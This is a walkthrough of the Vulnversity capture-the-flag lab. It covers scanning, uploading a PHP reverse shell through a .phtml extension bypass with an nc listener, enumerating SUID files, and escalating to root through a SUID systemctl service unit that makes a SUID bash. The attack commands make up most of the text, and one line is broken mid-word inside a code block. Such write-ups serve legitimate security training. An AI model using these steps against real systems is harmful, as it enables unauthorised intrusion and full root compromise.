Vulnversity — Walkthrough (up to Privilege Escalation)

1 — Recon

```
nmap -Pn -sV -A 10.10.105.123 -oN nmap.txt
# ports of interest (example): 3128 (Squid 3.5.12), 3333 (Apache)
```

2 — Web discovery

```
gobuster dir -u http://10.10.105.123:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
# Found: /internal/ (upload form)
```

3 — Upload webshell (www-data)

1. Prepare PHP reverse shell (set your Kali IP/PORT).
2. Rename to `.phtml` if `.php` is blocked (Vulnversity allows `.phtml`).
3. Start listener:

```
nc -lvnp 1234
```

1. Upload the shell to `/internal/` and trigger:

```
http://10.10.105.123:3333/internal/uploads/php-reverse-shell.phtml
```

You should receive a shell as `www-data`.

4 — Initial enumeration (on target as www-data)

Run these to gather context and look for privilege escalation vectors:

```
id
uname -a
cat /etc/issue 2>/dev/null || true
ls /home
ls -la /var/www /var/www/html /internal/uploads
find / -path /proc -prune -o -user root -perm -4000 -type f -print 2>/dev/null
find / -path /proc -prune -o -writable -type f -user root -print 2>/dev/null
getcap -r / 2>/dev/null || true
ls -la /etc/cron* /etc/cron.d 2>/dev/null
```

Look for:

- Sensitive files (configs, keys)
- Writable root-owned files or scripts
- SUID binaries (e.g., `/bin/systemctl`)

---

5 — Privilege escalation (SUID `/bin/systemctl`)

If `/bin/systemctl` is SUID root, use it to run a unit whose `ExecStart` runs as root. The following creates a root SUID bash and spawns a root shell.

Create the service unit:

```
cat > /tmp/root.service <<'EOF'
[Unit]
Description=Give me root bash

[Service]
Type=oneshot
```

```
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootba
sh'
[Install]
WantedBy=multi-user.target
EOF
```

Link & start the unit using the SUID systemctl:

```
# register unit so systemd sees it
/bin/systemctl link /tmp/root.service

# start the unit (ExecStart runs as root)
#/bin/systemctl enable --now /tmp/root.service   # alternative
/bin/systemctl start root.service
```

Spawn the root shell (local SUID bash):

```
/tmp/rootbash -p
id     # should show uid=0 (root)
```

Grab the flag:

```
cat /root/root.txt
```
